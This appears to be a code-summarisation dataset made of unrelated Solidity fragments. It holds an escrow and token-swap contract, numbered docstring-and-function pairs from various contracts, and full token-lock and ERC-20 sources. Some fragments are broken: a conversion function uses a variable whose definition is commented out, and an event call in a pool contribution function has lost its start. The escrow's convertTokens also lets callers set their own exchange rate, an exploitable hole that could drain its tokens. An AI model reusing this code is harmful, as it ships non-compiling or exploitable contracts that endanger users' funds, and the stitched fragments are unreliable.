uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * The MEXConomy contract is the smart contract whereby buyers and * sellers conggregate and trade among themselves using MEXConomy platform. * Special thanks to LocalEthereum for inspiring us to take this further * for the community to use. */ contract MEXConomy is Destructible { using SafeMath for uint256; using SafeERC20 for ERC20; // variables address feesWallet_; uint32 cancellationMinimumTime_; MintableToken mxToken_ = MintableToken(address(0)); MintableToken mexcToken_ = MintableToken(address(0)); // events event Created(bytes32 _tradeHash); event SellerCancelDisabled(bytes32 _tradeHash); event SellerRequestedCancel(bytes32 _tradeHash); event CancelledBySeller(bytes32 _tradeHash); event CancelledByBuyer(bytes32 _tradeHash); event Released(bytes32 _tradeHash); event DisputeResolved(bytes32 _tradeHash); event Transfer(address _to, uint256 _value); event MintMXTokens(address _to, uint256 _value); event Fees(uint256 _fees); // structs struct Escrow { // Set so we know the trade has already been created bool exists; // The timestamp in which the seller can cancel the trade if the buyer has not yet marked as paid. // 0 = marked paid or dispute // 1 = unlimited cancel time uint32 sellerCanCancelAfter; } mapping (bytes32 => Escrow) public escrows; mapping (address => bool) public arbitrators; // modifiers modifier onlyArbitrators() { require(arbitrators[msg.sender]); _; } modifier mxTokenIsSet() { require(mxToken_ != MintableToken(address(0))); _; } modifier mexcTokenIsSet() { require(mexcToken_ != MintableToken(address(0))); _; } // constructor function MEXConomy () public { arbitrators[msg.sender] = true; feesWallet_ = msg.sender; cancellationMinimumTime_ = 2 hours; // ample time I think. } // setter and getter functions function feesWallet() public view returns (address) { return feesWallet_; } function setMXToken(address _addr) public onlyOwner { require(_addr != address(0)); mxToken_ = MintableToken(_addr); } function setMEXCToken(address _addr) public onlyOwner { require(_addr != address(0)); mexcToken_ = MintableToken(_addr); } function addArbitrator(address _newArbitrator) public onlyOwner { require(_newArbitrator != address(0)); arbitrators[_newArbitrator] = true; } function checkArbitrator(address _addr) public view returns (bool) { return arbitrators[_addr]; } function changeFeesWallet(address _wallet) public onlyOwner { require(_wallet != address(0)); feesWallet_ = _wallet; } function changeCancellationMinimumTime(uint32 _cancelTime) public onlyOwner { require (_cancelTime > 1 hours); // min time. cancellationMinimumTime_ = _cancelTime; } /****************************************************************************/ /* Main Exported Ether Functions */ /****************************************************************************/ /** * External function to be invoked by another contract where the * information shall be supplied. */ function createEscrow( bytes32 _tradeID, // _tradeID generated from MEXConomy. address _seller, // seller's address address _buyer, // buyer's address uint256 _value, // the value in ETH uint256 _fees, // fees in ETH uint32 _paymentWindow, // in seconds uint32 _expiry // in seconds for total time. ) payable external returns (bytes32) { bytes32 tradeHash = keccak256(_tradeID, _seller, _buyer, _value, _fees); // do some validations require(!escrows[tradeHash].exists); // tradeHash is new. require(block.timestamp < _expiry); // not yet expired require(msg.value == _value && msg.value > 0); // eth sent > 0 uint32 sellerCanCancelAfter = _paymentWindow == 0 ? 1 : uint32(block.timestamp) + _paymentWindow; escrows[tradeHash] = Escrow(true, sellerCanCancelAfter); // emit escrow created. Created(tradeHash); return tradeHash; } function releaseEscrow( bytes32 _tradeID, address _seller, address _buyer, uint256 _value, uint256 _fees) external returns (bool){ require(msg.sender == _seller); return doReleaseEscrow(_tradeID, _seller, _buyer, _value, _fees); } function resolveDispute( bytes32 _tradeID, address _seller, address _buyer, uint256 _value, uint256 _fees, bool _buyerWins) onlyArbitrators external returns (bool) { return doResolveTradeDispute(_tradeID, _seller, _buyer, _value, _fees, _buyerWins); } function disableSellerToCancelTrade( bytes32 _tradeID, address _seller, address _buyer, uint256 _value, uint256 _fees) external returns (bool) { // have to add arbitrators here, since maybe first time user doesn't have ether balance. require(msg.sender == _buyer || arbitrators[msg.sender]); return doDisableSellerToCancelTrade(_tradeID, _seller, _buyer, _value, _fees); } function buyerToCancelTrade( bytes32 _tradeID, address _seller, address _buyer, uint256 _value, uint256 _fees) external returns (bool) { require(msg.sender == _buyer); return doBuyerToCancelTrade(_tradeID, _seller, _buyer, _value, _fees); } function sellerToCancelTrade( bytes32 _tradeID, address _seller, address _buyer, uint256 _value, uint256 _fees) external returns (bool) { require(msg.sender == _seller); return doSellerToCancelTrade(_tradeID, _seller, _buyer, _value, _fees); } function sellerRequestToCancelTrade( bytes32 _tradeID, address _seller, address _buyer, uint256 _value, uint256 _fees) external returns (bool) { require(msg.sender == _seller); return doSellerRequestToCancelTrade(_tradeID, _seller, _buyer, _value, _fees); } /****************************************************************************/ /* Main Exported Token Functions */ /****************************************************************************/ /** * Transfer tokens from this address to recipient */ function transferToken(ERC20 _token, address _to, uint256 _value) onlyOwner external { require(_token.balanceOf(address(this)) >= _value); assert(_token.transfer(_to, _value)); Transfer(_to, _value); } /** * This function converts between tokens directly without going through the * escrow Smart Contract as it is user driven. * This is akin to 'atomic swap' */ function convertTokens( ERC20 _fromToken, // from token uint8 _fromDecimals, // decimals for from token ERC20 _toToken, // to token uint8 _toDecimals, // decimals for to token uint256 _value, // the value in wei uint256 _fees, // fees in wei uint256 _rate // the rate to _toToken in cents ) payable external { require( _value > 0 && _fees > 0 && _rate > 0 && _fromToken.allowance(msg.sender, address(this)) >= _value ); doConvertTokens(_fromToken, _fromDecimals, _toToken, _toDecimals, msg.sender, _value, _fees, _rate); } /** * External function to be invoked by another contract where the * information shall be supplied. */ function createTokenEscrow( ERC20 _token, // the token address bytes32 _tradeID, // _tradeID generated from MEXConomy. address _seller, // seller's address address _buyer, // buyer's address uint256 _value, // the value in wei uint256 _fees, // fees in wei uint256 _rate, // MEXC rate at the creation time uint32 _paymentWindow, // in seconds uint32 _expiry // in seconds for total time. ) payable external returns (bytes32) { // call this first --> _token.approve(address(this), _value); require(_token.allowance(_seller, address(this)) >= _value); _token.safeTransferFrom(_seller, address(this), _value); bytes32 tradeHash = keccak256(_tradeID, _seller, _buyer, _value, _fees, _rate); // do some validations require(!escrows[tradeHash].exists); // tradeHash is new. require(block.timestamp < _expiry); // not yet expired uint32 sellerCanCancelAfter = _paymentWindow == 0 ? 1 : uint32(block.timestamp) + _paymentWindow; escrows[tradeHash] = Escrow(true, sellerCanCancelAfter); // emit escrow created. Created(tradeHash); return tradeHash; } function releaseTokenEscrow( ERC20 _token, bytes32 _tradeID, address _seller, address _buyer, uint256 _value, uint256 _fees, uint256 _rate) external returns (bool){ require(msg.sender == _seller); return doReleaseTokenEscrow(_token, _tradeID, _seller, _buyer, _value, _fees, _rate); } function resolveTokenDispute( ERC20 _token, bytes32 _tradeID, address _seller, address _buyer, uint256 _value, uint256 _fees, uint256 _rate, bool _buyerWins) onlyArbitrators external returns (bool) { return doResolveTokenTradeDispute(_token, _tradeID, _seller, _buyer, _value, _fees, _rate, _buyerWins); } function disableSellerToCancelTokenTrade( bytes32 _tradeID, address _seller, address _buyer, uint256 _value, uint256 _fees, uint256 _rate) external returns (bool) { // have to add arbitrators here, since maybe first time user doesn't have ether balance. require(msg.sender == _buyer || arbitrators[msg.sender]); return doDisableSellerToCancelTokenTrade(_tradeID, _seller, _buyer, _value, _fees, _rate); } function buyerToCancelTokenTrade( ERC20 _token, bytes32 _tradeID, address _seller, address _buyer, uint256 _value, uint256 _fees, uint256 _rate) external returns (bool) { require(msg.sender == _buyer); return doBuyerToCancelTokenTrade(_token, _tradeID, _seller, _buyer, _value, _fees, _rate); } function sellerToCancelTokenTrade( ERC20 _token, bytes32 _tradeID, address _seller, address _buyer, uint256 _value, uint256 _fees, uint256 _rate) external returns (bool) { require(msg.sender == _seller); return doSellerToCancelTokenTrade(_token, _tradeID, _seller, _buyer, _value, _fees, _rate); } function sellerRequestToCancelTokenTrade( bytes32 _tradeID, address _seller, address _buyer, uint256 _value, uint256 _fees, uint256 _rate) external returns (bool) { require(msg.sender == _seller); return doSellerRequestToCancelTokenTrade(_tradeID, _seller, _buyer, _value, _fees, _rate); } /****************************************************************************/ /* Ether Functions */ /****************************************************************************/ function doReleaseEscrow( bytes32 _tradeID, // _tradeID generated from MEXConomy. address _seller, // seller's address address _buyer, // buyer's address uint256 _value, // the value in wei uint256 _fees // fees in wei ) private returns (bool) { var (escrow, tradeHash) = getEscrowAndTradeHash(_tradeID, _seller, _buyer, _value, _fees); if (!escrow.exists) return false; transferMinusFees(_buyer, _value, _fees, false); delete escrows[tradeHash]; Released(tradeHash); return true; } function doResolveTradeDispute( bytes32 _tradeID, // _tradeID generated from MEXConomy. address _seller, // seller's address address _buyer, // buyer's address uint256 _value, // the value in wei uint256 _fees, // fees in wei bool _buyerWins // whether the dispute wins by buyer or not. ) private returns (bool) { var (escrow, tradeHash) = getEscrowAndTradeHash(_tradeID, _seller, _buyer, _value, _fees); if (!escrow.exists) return false; // see who won. if (_buyerWins) { transferMinusFees(_buyer, _value, _fees, true); } else { transferMinusFees(_seller, _value, _fees, true); } delete escrows[tradeHash]; Released(tradeHash); return true; } function doDisableSellerToCancelTrade( bytes32 _tradeID, // _tradeID generated from MEXConomy. address _seller, // seller's address address _buyer, // buyer's address uint256 _value, // the value in wei uint256 _fees // fees in wei ) private returns (bool) { var (escrow, tradeHash) = getEscrowAndTradeHash(_tradeID, _seller, _buyer, _value, _fees); if (!escrow.exists) return false; if (escrow.sellerCanCancelAfter == 0) return false; // already marked under dispute. escrows[tradeHash].sellerCanCancelAfter = 0; SellerCancelDisabled(tradeHash); return true; } function doBuyerToCancelTrade( bytes32 _tradeID, // _tradeID generated from MEXConomy. address _seller, // seller's address address _buyer, // buyer's address uint256 _value, // the value in wei uint256 _fees // fees in wei ) private returns (bool) { var (escrow, tradeHash) = getEscrowAndTradeHash(_tradeID, _seller, _buyer, _value, _fees); if (!escrow.exists) return false; // delete the escrow record delete escrows[tradeHash]; CancelledByBuyer(tradeHash); transferMinusFees(_seller, _value, 0, false); return true; } function doSellerToCancelTrade( bytes32 _tradeID, // _tradeID generated from MEXConomy. address _seller, // seller's address address _buyer, // buyer's address uint256 _value, // the value in wei uint256 _fees // fees in wei ) private returns (bool) { var (escrow, tradeHash) = getEscrowAndTradeHash(_tradeID, _seller, _buyer, _value, _fees); if (!escrow.exists) return false; // time has lapsed, and not unlimited time. if (escrow.sellerCanCancelAfter <= 1 || escrow.sellerCanCancelAfter > block.timestamp) return false; // delete the escrow record delete escrows[tradeHash]; CancelledBySeller(tradeHash); transferMinusFees(_seller, _value, 0, false); return true; } /** * This function is invoked when the seller didn't reveice any confirmation * from the buyer when the cancellation time is set to unlimited. * */ function doSellerRequestToCancelTrade( bytes32 _tradeID, // _tradeID generated from MEXConomy. address _seller, // seller's address address _buyer, // buyer's address uint256 _value, // the value in wei uint256 _fees // fees in wei ) private returns (bool) { var (escrow, tradeHash) = getEscrowAndTradeHash(_tradeID, _seller, _buyer, _value, _fees); if (!escrow.exists) return false; // ensure unlimited time only if (escrow.sellerCanCancelAfter != 1) return false; // delete the escrow record escrows[tradeHash].sellerCanCancelAfter = uint32(block.timestamp) + cancellationMinimumTime_; // we don't delete the escrow yet. The buyer has to do that. // delete escrows[tradeHash]; SellerRequestedCancel(tradeHash); // and no transfer yet, until buyer confirms it. // transferMinusFees(_seller, _value, 0); return true; } function getEscrowAndTradeHash( /** * Hashes the values and returns the matching escrow object and trade hash. * Returns an empty escrow struct and 0 _tradeHash if not found */ bytes32 _tradeID, address _seller, address _buyer, uint256 _value, uint256 _fees ) view private returns (Escrow, bytes32) { bytes32 tradeHash = keccak256(_tradeID, _seller, _buyer, _value, _fees); return (escrows[tradeHash], tradeHash); } function transferMinusFees( address _to, // recipient address uint256 _value, // value in wei uint256 _fees, // fees in wei bool _disputed ) private { uint256 value = _value.sub(_fees); // can be zero fees. if (_fees != 0 || _disputed) { // Successful trade. Transfer minus fees _to.transfer(value); Transfer(_to, value); feesWallet_.transfer(_fees); Fees(_fees); } else { // Don't take the fees _to.transfer(_value); Transfer(_to, _value); } } /****************************************************************************/ /* Token Functions */ /****************************************************************************/ function doReleaseTokenEscrow( ERC20 _token, // the token address bytes32 _tradeID, // _tradeID generated from MEXConomy. address _seller, // seller's address address _buyer, // buyer's address uint256 _value, // the value in wei uint256 _fees, // fees in wei uint256 _rate // token rate at the creation time ) private mxTokenIsSet returns (bool) { var (escrow, tradeHash) = getTokenEscrowAndTradeHash(_tradeID, _seller, _buyer, _value, _fees, _rate); if (!escrow.exists) return false; revertOrMintTokens(_token, _buyer, _value, _fees, _rate, false); delete escrows[tradeHash]; Released(tradeHash); return true; } function doResolveTokenTradeDispute( ERC20 _token, // the token address bytes32 _tradeID, // _tradeID generated from MEXConomy. address _seller, // seller's address address _buyer, // buyer's address uint256 _value, // the value in wei uint256 _fees, // fees in wei uint256 _rate, // token rate at the creation time bool _buyerWins // whether the dispute wins by buyer or not. ) private returns (bool) { var (escrow, tradeHash) = getTokenEscrowAndTradeHash(_tradeID, _seller, _buyer, _value, _fees, _rate); if (!escrow.exists) return false; // see who won. if (_buyerWins) { revertOrMintTokens(_token, _buyer, _value, _fees, _rate, true); } else { revertOrMintTokens(_token, _seller, _value, _fees, _rate, true); } delete escrows[tradeHash]; Released(tradeHash); return true; } function doDisableSellerToCancelTokenTrade( bytes32 _tradeID, // _tradeID generated from MEXConomy. address _seller, // seller's address address _buyer, // buyer's address uint256 _value, // the value in wei uint256 _fees, // fees in wei uint256 _rate // token rate at the creation time ) private returns (bool) { var (escrow, tradeHash) = getTokenEscrowAndTradeHash(_tradeID, _seller, _buyer, _value, _fees, _rate); if (!escrow.exists) return false; if (escrow.sellerCanCancelAfter == 0) return false; // already marked under dispute. escrows[tradeHash].sellerCanCancelAfter = 0; SellerCancelDisabled(tradeHash); return true; } function doBuyerToCancelTokenTrade( ERC20 _token, // the token address bytes32 _tradeID, // _tradeID generated from MEXConomy. address _seller, // seller's address address _buyer, // buyer's address uint256 _value, // the value in wei uint256 _fees, // fees in wei uint256 _rate // token rate at the creation time ) private returns (bool) { var (escrow, tradeHash) = getTokenEscrowAndTradeHash(_tradeID, _seller, _buyer, _value, _fees, _rate); if (!escrow.exists) return false; // delete the escrow record delete escrows[tradeHash]; CancelledByBuyer(tradeHash); revertOrMintTokens(_token, _seller, _value, 0, _rate, false); return true; } function doSellerToCancelTokenTrade( ERC20 _token, // the token address bytes32 _tradeID, // _tradeID generated from MEXConomy. address _seller, // seller's address address _buyer, // buyer's address uint256 _value, // the value in wei uint256 _fees, // fees in wei uint256 _rate // token rate at the creation time ) private returns (bool) { var (escrow, tradeHash) = getTokenEscrowAndTradeHash(_tradeID, _seller, _buyer, _value, _fees, _rate); if (!escrow.exists) return false; // time has lapsed, and not unlimited time. if (escrow.sellerCanCancelAfter <= 1 || escrow.sellerCanCancelAfter > block.timestamp) return false; // delete the escrow record delete escrows[tradeHash]; CancelledBySeller(tradeHash); revertOrMintTokens(_token, _seller, _value, 0, _rate, false); return true; } /** * This function is invoked when the seller didn't reveice any confirmation * from the buyer when the cancellation time is set to unlimited. * */ function doSellerRequestToCancelTokenTrade( bytes32 _tradeID, // _tradeID generated from MEXConomy. address _seller, // seller's address address _buyer, // buyer's address uint256 _value, // the value in wei uint256 _fees, // fees in wei uint256 _rate // token rate at the creation time ) private returns (bool) { var (escrow, tradeHash) = getTokenEscrowAndTradeHash(_tradeID, _seller, _buyer, _value, _fees, _rate); if (!escrow.exists) return false; // ensure unlimited time only if (escrow.sellerCanCancelAfter != 1) return false; // delete the escrow record escrows[tradeHash].sellerCanCancelAfter = uint32(block.timestamp) + cancellationMinimumTime_; // we don't delete the escrow yet. The buyer has to do that. // delete escrows[tradeHash]; SellerRequestedCancel(tradeHash); // and no transfer yet, until buyer confirms it. // transferMinusFees(_seller, _value, 0); return true; } function getTokenEscrowAndTradeHash( /** * Hashes the values and returns the matching escrow object and trade hash. * Returns an empty escrow struct and 0 _tradeHash if not found */ bytes32 _tradeID, // _tradeID generated from MEXConomy. address _seller, // seller's address address _buyer, // buyer's address uint256 _value, // the value in wei uint256 _fees, // fees in wei uint256 _rate // token rate at the creation time ) view private returns (Escrow, bytes32) { bytes32 tradeHash = keccak256(_tradeID, _seller, _buyer, _value, _fees, _rate); return (escrows[tradeHash], tradeHash); } function revertOrMintTokens( ERC20 _token, // the token address address _to, // recipient address uint256 _value, // value in wei uint256 _fees, // fees in wei uint256 _rate, // token rate at the creation time bool _disputed ) internal mxTokenIsSet { uint256 value = _value.sub(_fees); // can be zero fees. if (_fees != 0 && !_disputed) { // ok, transfer the tokens, and mint MX Tokens assert(_token.transfer(feesWallet_, _value)); Transfer(feesWallet_, _value); // mint MX tokens for this user. Rate is in cents uint256 minted = value.mul(_rate).div(100); mxToken_.mint(_to, minted); MintMXTokens(_to, minted); } else { // when fees is zero. Check for disputed if (_disputed) { // return back the tokens to the _to address. assert(_token.transfer(_to, value)); Transfer(_to, value); // take the fees assert(_token.transfer(feesWallet_, _fees)); Fees(_fees); } else { // return all the tokens back. assert(_token.transfer(_to, _value)); Transfer(_to, value); } } } function doConvertTokens( ERC20 _fromToken, // from token uint8 _fromDecimals, // decimals for from token ERC20 _toToken, // to token uint8 _toDecimals, // decimals for to token address _to, // send to address uint256 _value, // value in wei uint256 _fees, // fees in wei uint256 _rate // rate of _toToken in cents ) internal { // calculate the conversion rate // uint256 converted = _value.sub(_fees).mul(_rate).div(100); uint256 diff; if (_fromDecimals > _toDecimals) { diff = _fromDecimals - _toDecimals; converted = converted.div(10 ** diff); } if (_fromDecimals < _toDecimals) { diff = _toDecimals - _fromDecimals; converted = converted.mul(10 ** diff); } require(_toToken.balanceOf(address(this)) >= converted); // transfer all tokens to us. assert(_fromToken.transferFrom(_to, address(this), _value)); // transfer the fees assert(_fromToken.transfer(feesWallet_, _fees)); // transfer the token assert(_toToken.transfer(_to, converted)); Transfer(_to, converted); } }
Hashes the values and returns the matching escrow object and trade hash. Returns an empty escrow struct and 0 _tradeHash if not found/
function getEscrowAndTradeHash( bytes32 _tradeID, address _seller, address _buyer, uint256 _value, uint256 _fees ) view private returns (Escrow, bytes32) { bytes32 tradeHash = keccak256(_tradeID, _seller, _buyer, _value, _fees); return (escrows[tradeHash], tradeHash); }
1,006,747
./full_match/4/0x37eA2DB618AB9f13349cf41D202Bcd90f78c8446/sources/contracts/layerzero/contracts/lzApp/LzApp.sol
generic config for LayerZero user Application
function setConfig(uint16 _version, uint16 _chainId, uint _configType, bytes calldata _config) external override onlyOwner { lzEndpoint.setConfig(_version, _chainId, _configType, _config); }
683,350
./full_match/5/0x6A2a353F90Ea3AeD0F7107c49A2d4f8107034533/sources/contracts/Equb.sol
Find the pool by equbAddress
function contribution( address equbAddress, address member, uint contAmount ) public { uint poolIndex; for (uint i = 0; i < pools.length; i++) { if (pools[i].equbAddress == equbAddress) { poolIndex = i; break; } } require( contAmount == pools[poolIndex].contributionAmount, "Contribution amount is incorrect." ); require( contributions[equbAddress][member] == false, "You have already contributed for this period." ); require( pools[poolIndex].contributionSkipCount < 3, "You have skipped the contribution for three times, You will be removed from the pool." ); uint contributionPeriod = currentTime - pools[poolIndex].contributionDate; require( contributionPeriod <= 60 * 60 * 24 * 25, "Contribution period has ended." ); member, contAmount, pools[poolIndex].equbBalance ); }
1,872,881
./full_match/10/0x677ef2B01493e235fE2271AFcd01d7e22975Ce5b/sources/_beandao/contracts/library/BeaconDeployer.sol
solhint-disable-next-line no-inline-assembly pass along failure message from failed contract deployment and revert.
function deploy(address implementation) internal returns (address result) { bytes memory code = abi.encodePacked( hex"606161002960003933600081816002015260310152602080380360803960805160005560616000f3fe337f00000000000000000000000000000000000000000000000000000000000000001415602e57600035600055005b337f00000000000000000000000000000000000000000000000000000000000000001460605760005460005260206000f35b", abi.encode(implementation) ); assembly { result := create(0, add(code, 0x20), mload(code)) if iszero(extcodesize(result)) { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } }
3,783,862
./full_match/1/0xfDfb9066917C3cfbeF52f2C3758f03A7F281Ff98/sources/contracts/ChainGainStaking.sol
Permissioned pool actions Contains pool methods that may only be called by the factory owner
interface IUniswapV3PoolOwnerActions { function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external; function collectProtocol( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); } pragma solidity >=0.5.0; }
16,406,278
./partial_match/1/0xEdf7fad88AEaA63b35dDa8dDA965eF1C28319A32/sources/BitPEPEToken.sol
Updates `owner` s allowance for `spender` based on spent `ammoduanot`. Does not update the allowance ammoduanot in case of infinite allowance./
function _spendAllowance( address owner, address spender, uint256 ammoduanot ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= ammoduanot, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - ammoduanot); } } }
3,630,997
./partial_match/1/0x8F4b69EcBEC51BeBCb1e88F3865aD901f27467D5/sources/contracts/VestingFactory.sol
Create a new vesting. create a new proxy of Vesting. _name - name of the vesting which will be created _rewardToken - the token address that will be used to issue rewards to users _depositToken - the token address that will be used for users to pay _signer - addresses which will sign transactions on deposit _initialUnlockPercentage - the percentage of tokens that will be unlocked after the sale _minAllocation - the minimum number for which the user can purchase tokens _maxAllocation - the maximum number for which the user can purchase tokens _vestingType - vesting unlock type return proxy Address of recently created Vesting./
function createVesting( string memory _name, address _rewardToken, address _depositToken, address _signer, uint256 _initialUnlockPercentage, uint256 _minAllocation, uint256 _maxAllocation, IVesting.VestingType _vestingType ) external override onlyRole(CREATOR_ROLE) returns (address proxy) { bytes memory bytesData = abi.encodeWithSignature( "initialize(string,address,address,address,uint256,uint256,uint256,uint8)", _name, _rewardToken, _depositToken, _signer, _initialUnlockPercentage, _minAllocation, _maxAllocation, _vestingType ); proxy = address( new TransparentUpgradeableProxy( vestingImplementation, owner(), bytesData ) ); Ownable(proxy).transferOwnership(_msgSender()); _add(proxy, false); }
9,157,389
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./PETSTokenLock.sol"; contract PETSTokenPrivate2Lock is PETSTokenLock { constructor(address _petsTokenAddress) PETSTokenLock(_petsTokenAddress){ name = "Private2"; maxCap = 6800000 ether; numberLockedMonths = 2; numberUnlockingMonths = 8; unlockPerMonth = 850000 ether; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./PETSToken.sol"; // Locks tokens in contract distributing them monthly after an initial lockup period abstract contract PETSTokenLock is Ownable, ReentrancyGuard { string public name; uint256 public tgeAt; uint256 public maxCap; uint256 public numberLockedMonths; uint256 public numberUnlockingMonths; uint256 public unlockPerMonth; uint256 public sent; PETSToken public petsToken; event Send(address indexed _to, uint256 amount); constructor (address _petsTokenAddress) { petsToken = PETSToken(_petsTokenAddress); tgeAt = 1635422400; // 10-28-2021 12:00:00 UTC transferOwnership(0xC179BFF3D9d3700Cf14430DDb37f5adCf4e40108); } function _getAvailableTokens() internal view returns (uint256) { if(block.timestamp < tgeAt){ return 0; } // 2592000 seconds = 30 days uint256 months = (block.timestamp - tgeAt) / 2592000; if(months >= numberLockedMonths + numberUnlockingMonths){ //lock is over or events with no lock return maxCap - sent; }else if(months < numberLockedMonths){ //too early, tokens are still under full lock; return 0; } uint256 potentialAmount = (months - numberLockedMonths) * unlockPerMonth; if(potentialAmount > maxCap){//double check, just in case potentialAmount = maxCap; } return potentialAmount - sent; } function getAvailableTokens() external view returns (uint256) { return _getAvailableTokens(); } function send(address to, uint256 amount) onlyOwner nonReentrant external { require(sent + amount <= maxCap, "capitalization exceeded"); require(_getAvailableTokens() >= amount, "available amount is less than requested amount"); sent = sent + amount; petsToken.transfer(to, amount); emit Send(to,amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; // ERC-20 Token with 2% yearly inflation (compounding), distributed quarterly contract PETSToken is ERC20, Ownable { uint256 public initialCap = 100000000 ether; uint256 public tgeAt = 1635422400; // 10-28-2021 12:00:00 UTC // unsigned 16.112-bit fixed point number // (1.02) ^ (1/4) << 112 = 5218065872551496750682311808311216 uint128 private quarterlyInterestRate = 0x10145402ccc981a95f01c22a0dfb0; constructor () ERC20("PETS Token", "PETS") { super._mint(msg.sender, initialCap); transferOwnership(0xC179BFF3D9d3700Cf14430DDb37f5adCf4e40108); } function availableTotalSupply() external view returns(uint256){ return _availableTotalSupply(); } function availableToMint() external view returns(uint256){ return _availableToMint(); } function _availableTotalSupply() internal view returns(uint256){ if(block.timestamp < tgeAt){ return initialCap; } // 90 days = 7776000 seconds uint256 quartersSinceTGE = (block.timestamp - tgeAt) / 7776000; return (initialCap * pow(quarterlyInterestRate,quartersSinceTGE)) >> 112; } function _availableToMint() internal view returns(uint256){ return _availableTotalSupply() - totalSupply(); } function mint(address account, uint256 amount) external onlyOwner { require(amount <= _availableToMint(), "Cap exceeded"); super._mint(account,amount); } // Raises the 16.112-bit unsigned fixed point number base to the specified 256-bit unsigned integer power // Returns a 16.112-bit unsigned fixed point number function pow(uint128 base, uint256 power) internal pure returns (uint256){ uint256 result = 0x10000000000000000000000000000; // 1 in 16.112-bit unsigned fixed point format uint256 x = base; while(power != 0){ if(power & 0x1 != 0){ result = (result * x) >> 112; } x = (x * x) >> 112; power >>=1; } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev 